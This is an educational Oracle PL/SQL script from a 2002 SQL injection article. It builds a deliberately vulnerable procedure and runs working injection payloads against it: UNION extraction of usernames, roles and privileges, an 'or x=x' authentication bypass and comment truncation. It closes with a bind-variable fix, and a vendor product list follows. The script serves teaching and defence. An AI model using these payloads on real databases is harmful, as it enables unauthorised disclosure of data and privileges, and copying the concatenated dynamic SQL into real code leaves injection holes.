Call: +44 (0)7759 277220 Call
sqlinject.sql
Download SQL script

sqlinject.sql

--
-- sqlinject.sql
-- Pete Finnigan 
-- 15-nov-2002
--
-- example code for the SQL injection article for www.securityfocus.com
--
set serveroutput on size 1000000

spool sqlinject.lis

--
-- use a default user dbsnmp, of course any other user can be used, this user
-- is used here for simplicity to avoid creating a user. In a production system
-- first of all do not run tests like this one and do not use DBSNMP.
--
--connect dbsnmp/dbsnmp

--
-- create a sample table to use in the examples
-- 

drop table customers;
create table customers
(
	customer_forname	varchar2(30),
	customer_surname	varchar2(30),
	customer_phone		varchar2(30),
	customer_fax		varchar2(30),
	customer_type		number(10)
)
tablespace users;

--
-- insert three records to test with
--

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Fred',
	'Clark',
	'999444888',
	'999444889',
	3
)
/

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Bill',
	'Jones',
	'999555888',
	'999555889',
	2
)
/

insert into customers
(
	customer_forname,
	customer_surname,
	customer_phone,
	customer_fax,
	customer_type
)
values
(
	'Jim',
	'Clark',
	'999777888',
	'999777889',
	1
)
/

--
-- create a sample PL/SQL procedure to SQL Inject
--

create or replace procedure get_cust (pv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone'||
			' from customers '||
			'where customer_surname='''||
			pv_surname||'''';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err

--
-- run the first test to see if a second SQL statement can simply be added to
-- the first.
--

exec get_cust('x'' select username from all_users where ''x''=''x');

--
-- try adding a ";" to delimit two SQL statements
--

exec get_cust('x'';select username from all_users where ''x''=''x');

--
-- now try a UNION, this should work
--

exec get_cust('x'' union select username from all_users where ''x''=''x');

--
-- try using a sub select to prove that it works
--

exec get_cust('x'' or exists (select 1 from sys.dual) and ''x''=''x');

--
-- now add an "or" to show how existing SQL statements can be truncated to return
-- all of the records in a table - this is usefull for tricking application authentication.
--

exec get_cust('x'' or ''x''=''x');

--
-- modify the procedure to extend the dynamic SQL so that we can show how to truncate
-- additional parts of a "where clause".
--

create or replace procedure get_cust2 (lv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone '||
				'from customers '||
				'where customer_surname='''||
				lv_surname||''' and customer_type=1';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
/

--
-- demonstration of using "--" comment characters to truncate a "where clause".
--

exec get_cust2('x'' or ''x''=''x'' --');

--
-- SQL to find all of the PL/SQL in the database
--

col owner for a15
col object_type for a30
col object_name for a30
select owner,object_type,object_name
from dba_objects
where object_type in('PACKAGE','FUNCTION','PROCEDURE');

--
-- demonstration of calling a "built in" PL/SQL procedure
--

exec get_cust('x'' union select sys.login_user from sys.dual where ''x''=''x');

--
-- demonstration of getting data from a second database using a database link.
-- This won't work on your system unless by some strange coincidence you have
-- a database link with the same name as mine. Change the link name to one
-- that exists in your database.
--

exec get_cust('x'' union select to_char(sysdate) from sys.dual@plsq where ''x''=''x');

--
-- modify the get_cust procedure to select three columns so that we can demonstrate 
-- how to get configuration data from the database.
--

create or replace procedure get_cust (pv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_forname	customers.customer_forname%type;
	lv_surname	customers.customer_surname%type;
	lv_stmt		varchar2(32767):='select customer_phone'||
			',customer_forname,customer_surname '||
			'from customers '||
			'where customer_surname='''||
			pv_surname||'''';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt;
	loop
		fetch cv into lv_phone,lv_forname,lv_surname;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone||':'||lv_forname||':'||lv_surname);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust;
/
sho err

--
-- sho that an error is returned if incorrect column types or an incorrect
-- number of columns is sent as part of a union statement
--


exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');

--
-- get all of the objects the user we are logged in as has been granted 
-- specific access to.
--

exec get_cust('x'' union select object_name,object_type,''x'' from user_objects where ''x''=''x');

--
-- get directly granted roles to this user.
--

exec get_cust('x'' union select granted_role,admin_option,default_role from user_role_privs where ''x''=''x');

--
-- get directly granted system privileges
--

exec get_cust('x'' union select privilege,admin_option,''X'' from user_sys_privs where ''x''=''x');

--
-- query to get all objects and their types that this user can see.
--

select count(*),object_type,owner
from all_objects
group by object_type,owner    
/

--
-- modify the procedure to use bind variables to demonstarte that they can
-- be used to protect against SQL Injection.
--

create or replace procedure get_cust_bind (lv_surname in varchar2)
is
	type cv_typ is ref cursor;
	cv cv_typ;
	lv_phone	customers.customer_phone%type;
	lv_stmt		varchar2(32767):='select customer_phone '||
				'from customers '||
				'where customer_surname=:surname';
begin
	dbms_output.put_line('debug:'||lv_stmt);
	open cv for lv_stmt using lv_surname;
	loop
		fetch cv into lv_phone;
		exit when cv%notfound;
		dbms_output.put_line('::'||lv_phone);
	end loop;
	close cv;
exception
	when others then
		dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/
sho err

--
-- demonstrate binds
--

exec get_cust_bind('Clark');

exec get_cust_bind('x'' union select username from all_users where ''x''=''x');


spool off


  • PFCLScan PFCLScan

    Simply connect PFCLScan to your Oracle database and it will automatically discover the security issues that could make your Oracle database vulnerable to attack and to the potential loss of your data.

  • PFCL Obfuscate PFCLObfuscate

    PFCLObfuscate is the only tool available that can automatically add license controls to your PL/SQL code. PFCLObfuscate protects your Intellectual Property invested in your PL/SQL database code.

  • PFCLCode PFCLCode

    PFCLCode is a tool to allow you to analyse your PL/SQL code for many different types of security issues. PFCLCode gives you a detailed review and reports and includes a powerful colour syntax highlighting code editor

  • PFCLForensics PFCLForensics

    PFCLForensics is the only tool available to allow you to do a detailed live response of a breached Oracle database and to then go on and do a detailed forensic analysis of the data gathered.

  • PFCLATK PFCLATK

    PFCLATK is a toolkit that allows detailed pre-defined policy driven audit trails for your Oracle database. The toolkit also provides for a centralised audit trail and centralised activity reporting

  • PFCLCookie PFCLCookie

    PFCLCookie is a useful tool to use to audit your websites for tracking cookies. Scan websites in a natural way using powerful browser driven scanner

  • PFCLSEO PFCLSEO

    We offer a number of web based services such as cookie audits, improving website ranking in search engines, locating broken links and hosting email and websites

  • PFCL Training PFCLTraining

    PFCLTraining is a set of expert training classes for you, aimed at teaching how to audit your own Oracle database, design audit trails, secure code in PL/SQL and secure and lock down your Oracle database.

  • PFCL Services PFCLServices

    Choose PFCLServices to add PeteFinnigan.com Ltd to your team for your Oracle Security needs. We are experts in performing detailed security audits, data security design work and policy creation

  • PFCLConsulting PFCLConsulting

    Choose PFCLConsulting to ask PeteFinnigan.com Limited to set up and use our products on your behalf

  • PFCLCustom PFCLCustom

    All of our software products can be customised at a number of levels. Choose this to see how our products can be part of your products and services

  • PFCLCloud PFCLCloud

    Private cloud, public cloud, hybrid cloud or no cloud. Learn how all of our services, trainings and products will work in the cloud

  • PFCLUserRights PFCLUserRights

    PFCLUserRights allows you to create a very detailed view of database users rights. The focus of the reports is to allow you to decide what privileges and accounts to keep and which to remove.

  • PFCLSTK PFCLSTK

    PFCLSTK is a toolkit application that allows you to provide database security easily to an existing database. PFCLSTK is a policy driven toolkit of PL/SQL that creates your security

  • PFCLSFTK PFCLSFTK

    PFCLSFTK is a toolkit that solves the problem of securing third party applications written in PL/SQL. It does this by creating a thin layer between the application and database and this traps SQL Injection attempts. This is a static firewall.

  • Products We resell PFCLReselling

    PeteFinnigan.com Limited has partnered with a small number of relevant companies to resell their products where they enhance or compliment what we do